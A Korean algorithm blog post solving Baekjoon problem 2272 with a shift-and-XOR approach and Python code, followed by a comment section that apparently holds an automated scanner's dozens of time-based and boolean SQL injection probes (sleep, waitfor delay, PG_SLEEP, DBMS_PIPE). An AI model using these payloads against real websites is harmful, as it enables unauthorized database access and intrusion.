Algorithm

백준 2272번: 램프

by VICENTE97P4

June 18, 2022, 5:08 p.m.

문제 링크: https://www.acmicpc.net/problem/2272


정말 오랜만에 알고리즘 문제풀이 포스팅을 작성합니다.

그동안 학교 시험과 인턴 면접, 그리고 졸업프로젝트까지 있어서 꽤나 바쁘게 지냈습니다.

면접을 보면서, 원하는 기업에 가기까지 한참은 멀었구나.. 하는 것을 많이 느꼈습니다.

요즘에는 원하는 기업에 가기 위해서는 1, 2학년 때 프로젝트를 하고, 코테를 준비하여서

3, 4학년 때 스타트업에서 실무를 배우고 경력을 쌓아야 비로소 이름 있는 기업에 신입으로 들어갈 수 있지 않나..

하는 느낌을 받았습니다.

사실 신입한테 이런걸 요구하는게 맞나? 싶긴 한데.. 

뭐 어쩌겠습니까.. 제가 맞춰야죠..


각설하고 문제를 봅시다. 문제는 굉장히 짧습니다.

자신의 오른쪽 숫자가 1이면 자신을 바꿔주는 겁니다.(오른쪽에 있는 1을 바꾸는게 아닙니다!!)

input을 보면 N이 백만, M은 10억..

뭘 어쩌란 걸까요?

보통 10억씩 나오면 뭔가 binary search를 생각해봐야 하는데..

암만 봐도 binary search를 적용하기는 힘들어 보입니다.


이 문제는 가만히 머리로 생각하면 풀 수 없습니다. 직접 글로 써봐야 합니다.

000000001이 있다고 합시다.

1번째 수행 시 -> 000000011

2번째 -> 000000101

3번째 -> 000001111

4번째 -> 000010001

5번째 -> 000110011

6번째 -> 001010101

7번째 -> 011111111

8번째 -> 10000001

...


규칙이 보이시나요?

전 안보였습니다.. 이걸 어케 알아..

일단 1번 수행한다는 것은 <- 방향(왼쪽)으로 shift 한 후 XOR을 수행한다는 것을 알 수 있습니다.

이걸 말로 풀어쓰면 문제와 같이 되더라고요..

(그걸 어떻게 아냐고 물으시면.. 그러게요.. 저도 몰랐습니다..)


2의 지수승 번째 수행을 보시면 1이 2번만 나옵니다.

그리고 그 두 1 사이에는 0으로만 이루어져있습니다.

그런데 이걸로 뭘 어쩌란 걸까요..?

잘 보시면 두 1 사이에 있는 0의 개수가 2의 지수승 만큼 있다는 것을 알 수 있습니다.

즉, 2의 지수승 번째 수행은 <- 방향으로 2의 지수승 만큼 shift 하고 XOR 연산을 한 것이라는 것을 알 수 있습니다.

그럼 M을 이진수로 나타내어서 1에 해당하는 부분만 연산해주면 되겠죠?

M은 최대 10억이니까 대략 2의 30승, 즉 약 30자리입니다. 최대 30번만 수행하면 된다는 뜻이죠.

N은 백만 따라서 30 * 1000000 = 3천만 가량 연산이 필요하겠네요.

충분히 가능한 연산입니다.


코드입니다.

import sys;

input = sys.stdin.readline
N, M = map(int, input().split())
arr, tmp = [int(input().strip()) for _ in range(N)], [0] * N

i = 1
while i <= M:
    if i & M:
        for j in range(N):
            tmp[j] = arr[j] ^ arr[(i + j) % N]
        for j in range(N):
            arr[j] = tmp[j]

    i *= 2

for ans in arr:
    print(ans)

나머지는 그냥 input 값 받기랑 정답 출력이라서, while 문만 보면 됩니다.


i = 1
while i <= M:
    if i & M:
        for j in range(N):
            tmp[j] = arr[j] ^ arr[(i + j) % N]
        for j in range(N):
            arr[j] = tmp[j]

    i *= 2

i는 1부터 시작해서 2배씩 커집니다.

2^0은 1, 2^1은 2, 2^2은 4니까 M을 이진수로 나타냈을 때 각 자리가 1인지 0인지 확인하기 위함입니다.

(우리는 2의 지수승의 수행만 연산해주는 것을 전략으로 함을 위에서 이야기 했습니다.)

M을 이진수로 나타냈을 때 0이 아닌 1에 해당하는 자리만 연산을 수행하기 위해 if 절에 i&M 이라는 조건을 뒀습니다.

 

if 절 안에 있는 첫 번째 for문은 왼쪽으로 shift 해주고 원래 값과 XOR 하는 loop입니다.

두 번째 for문은 첫 번째 연산의 결과를 tmp에 저장했는데 이를 다시 arr로 옮겨주는 loop입니다.


그리고는 정답을 출력하면 끝입니다.

문제도, 정답 코드도 짧고 간단했던 문제였습니다.


풀이 후 소감은..

네.. 그렇죠.. 이걸 어떻게 알아?

손으로 일일히 써봐도 이걸 알기는 힘듭니다.

역시 세상에는 천재가 많나 봅니다.. 이게 고작 플레 2라니..


다음에 또 괜찮은 문제가 있으면 포스팅 해보겠습니다.

   62   view  1189
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

z75lxjXq

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1 OR 2+651-651-1=0+0+0+1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1 OR 3+651-651-1=0+0+0+1

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

JbUbaC5y'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1) OR 538=(SELECT 538 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

-1)) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

6AcudFkk' OR 893=(SELECT 893 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

lkt8ECjQ') OR 123=(SELECT 123 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

PuvrEzqU')) OR 421=(SELECT 421 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

'"

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:24 p.m.

@@3VLvN

Updated: Feb. 22, 2025, 5:24 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:33 p.m.

1

Updated: Feb. 22, 2025, 5:33 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:33 p.m.

1

Updated: Feb. 22, 2025, 5:33 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

555

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

-1 OR 2+940-940-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

-1 OR 2+867-867-1=0+0+0+1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

-1' OR 2+528-528-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

-1' OR 2+927-927-1=0+0+0+1 or 'BzzkS62g'='

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

-1" OR 2+73-73-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1QbUtRuVg'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1 OR 181=(SELECT 181 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1-1)) OR 998=(SELECT 998 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1xBHOZPkd' OR 206=(SELECT 206 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1M3PPK3oN') OR 289=(SELECT 289 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1vyp1GX9n')) OR 782=(SELECT 782 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1'"

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

1����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:35 p.m.

@@JADK6

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:36 p.m.

555

Updated: Feb. 22, 2025, 5:36 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:36 p.m.

555

Updated: Feb. 22, 2025, 5:36 p.m.

fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:36 p.m.

555

Updated: Feb. 22, 2025, 5:36 p.m.